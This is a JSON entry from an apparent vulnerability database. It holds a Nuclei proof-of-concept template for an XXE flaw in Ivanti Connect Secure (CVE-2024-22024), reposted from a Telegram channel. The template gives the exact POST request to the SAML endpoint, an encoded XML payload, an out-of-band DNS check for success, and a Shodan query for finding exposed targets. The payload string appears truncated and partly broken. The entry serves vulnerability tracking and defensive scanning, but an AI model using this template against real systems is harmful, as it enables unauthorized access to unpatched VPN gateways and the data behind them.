{"uuid": "35c08633-476f-43a0-a3e4-4f8a9808675d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-22024", "type": "published-proof-of-concept", "source": "https://t.me/BugCod3/450", "content": "Nuclei PoC for Ivanti XXE (CVE-2024-22024)\n\nid: CVE-2024-22024\n\ninfo:\n  name: Ivanti Connect Secure - XXE\n  author: watchTowr\n  severity: high\n  description: |\n    Ivanti Connect Secure is vulnerable to XXE (XML External Entity) injection.\n  impact: |\n    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information or remote code execution.\n  remediation: |\n    Apply the latest security patches or updates provided by Ivanti to fix the XXE vulnerability.\n  reference:\n    - https://labs.watchtowr.com/are-we-now-part-of-ivanti/\n    - https://twitter.com/h4x0r_dz/status/1755849867149103106/photo/1\n  metadata:\n    max-request: 1\n    vendor: ivanti\n    product: \"connect_secure\"\n    shodan-query: \"html:\\\"welcome.cgi?p=logo\\\"\"\n  tags: cve,cve2024,kev,xxe,ivanti\n\nvariables:\n  payload: ' %watchTowr;]>'\n\nhttp:\n  - raw:\n      - |\n        POST /dana-na/auth/saml-sso.cgi HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        SAMLRequest={{base64(payload)}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol  # Confirms the DNS Interaction\n        words:\n          - \"dns\"\n\n      - type: word\n        part: body\n        words:\n          - '/dana-na/'\n          - 'WriteCSS'\n        condition: and\n# digest: 490a0046304402206a39800bff0d9ca85a05e3686a0e246f8d5504a38e8501a1d7e8684ae6f2853002205ba7c74bb1f99cacf693e8a5a1cd429dcd7e52fab188beb8c95b934e4aabcd57:922c64590222798bb761d5b6d8e72950\n\n#Nuclei #Templates #PoC #XXE\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\ud83d\udc64 T.me/BugCod3BOT \n\ud83d\udce3 T.me/BugCod3", "creation_timestamp": "2024-02-10T03:25:31.000000Z"}